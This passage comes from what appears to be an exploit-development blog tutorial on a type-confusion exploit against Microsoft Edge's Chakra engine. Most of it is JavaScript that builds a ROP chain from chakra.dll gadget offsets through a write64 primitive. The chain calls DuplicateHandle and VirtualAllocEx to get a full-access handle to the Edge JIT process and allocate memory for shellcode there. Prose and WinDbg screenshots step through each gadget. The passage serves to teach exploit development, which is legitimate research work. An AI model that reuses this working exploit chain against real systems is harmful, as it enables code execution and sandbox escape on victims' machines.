<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtuaAllocEx() ROP chain</span>
<span class="c1">// Stage 2 -&gt; Allocate memory in the Edge JIT process (we have a full handle there now)</span>

<span class="c1">// DWORD flAllocationType (R9)</span>
<span class="c1">// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)</span>
<span class="cm">/*
0:031&gt; ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0x1000 (shellcode size)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RDX)</span>
<span class="c1">// Let VirtualAllocEx decide where the memory will be located</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// Call KERNELBASE!VirtualAllocEx</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xff00</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAllocEx address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>Let’s start by setting a breakpoint on our first ROP gadget of <code class="language-plaintext highlighter-rouge">pop rax ; ret</code>, which is located at <code class="language-plaintext highlighter-rouge">chakra_base + 0x577fd4</code>. Our <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> ROP chain uses this gadget two times. So, when we hit our breakpoint, we will hit <code class="language-plaintext highlighter-rouge">g</code> in WinDbg to jump over these two calls in order to debug our <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> ROP chain.</p>

<p><img src="/images/3typeconfusion96.png" alt="" /></p>

<p>This ROP chain starts out by attempting to act on the R9 register to load in the <code class="language-plaintext highlighter-rouge">flAllocationType</code> parameter. This is done via the <code class="language-plaintext highlighter-rouge">mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</code> ROP gadget. As we previously discussed, the RCX register is used to copy the final parameter into R9. This means we need to place <code class="language-plaintext highlighter-rouge">MEM_COMMIT | MEM_RESERVE</code> into the RCX register, and let our target gadget copy the value into R9. However, we know that the RAX register is dereferenced. This means our first few gadgets:</p>

<ol>
  <li>Place a valid pointer in RAX to bypass the <code class="language-plaintext highlighter-rouge">cmp r8d, [rax]</code> check</li>
  <li>Place <code class="language-plaintext highlighter-rouge">0x3000</code> (<code class="language-plaintext highlighter-rouge">MEM_COMMIT | MEM_RESERVE</code>) into RCX</li>
  <li>Copy said value in R9 (along with an <code class="language-plaintext highlighter-rouge">add rsp, 0x28</code> which we know how to deal with by adding <code class="language-plaintext highlighter-rouge">0x28</code> bytes of padding)</li>
</ol>

<p><img src="/images/3typeconfusion97.png" alt="" /></p>

<p>Our call to <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> is now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAllocEx</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span>	<span class="c1">// Reserve our memory and commit it to memory in one go</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>After R9 gets filled properly, our next step is to work on the <code class="language-plaintext highlighter-rouge">dwSize</code> parameter, which will go in R8. We can directly copy a value into R8 using the following ROP gadget: <code class="language-plaintext highlighter-rouge">mov r8, rdx ; add rsp, 0x48 ; ret</code>. All we have to do is place our intended value into RDX prior to this gadget, and it will be copied into R8 (along with an <code class="language-plaintext highlighter-rouge">add rsp, 0x48</code> - which we know how to deal with by adding some padding before our <code class="language-plaintext highlighter-rouge">ret</code>). The value we are going to place in R9 is <code class="language-plaintext highlighter-rouge">0x1000</code> which isn’t the <em>exact</em> size of our shellcode, but it will give us a good amount of space to work with as <code class="language-plaintext highlighter-rouge">0x1000</code> is more room than we actually need.</p>

<p><img src="/images/3typeconfusion98.png" alt="" /></p>

<p>Our call to <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> is now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAllocEx</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>		<span class="c1">// Our shellcode is currently in the .data section of chakra.dll in the content process. Tell VirtualAllocEx the size of our allocation we want to make in the JIT process is sizeof(shellcode)</span>
	<span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span>	<span class="c1">// Reserve our memory and commit it to memory in one go</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next parameter we will focus on is the <code class="language-plaintext highlighter-rouge">lpAddress</code> parameter. In this case, we are setting this value to <code class="language-plaintext highlighter-rouge">NULL</code> (or <code class="language-plaintext highlighter-rouge">0</code> in our case), as we want the OS to determine where our private allocation will be within the JIT process. This is done by simply popping a <code class="language-plaintext highlighter-rouge">0</code> value, which we can directly write to the stack after our <code class="language-plaintext highlighter-rouge">pop rdx</code> gadget using the write primitive, into RDX.</p>

<p><img src="/images/3typeconfusion99.png" alt="" /></p>

<p>After executing the above ROP gadgets, our call to <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> is in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAllocEx</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Setting to NULL. Let VirtualAllocEx decide where our memory will be allocated in the JIT process</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>		<span class="c1">// Our shellcode is currently in the .data section of chakra.dll in the content process. Tell VirtualAllocEx the size of our allocation we want to make in the JIT process is sizeof(shellcode)</span>
	<span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span>	<span class="c1">// Reserve our memory and commit it to memory in one go</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>At this point we have supplied 3/5 arguments for <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>. Our second-to-last parameter will be the <code class="language-plaintext highlighter-rouge">hProcess</code> parameter - which is our now duplicated-handle to the JIT server with <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> permissions. Here is how this code snippet looks:</p>

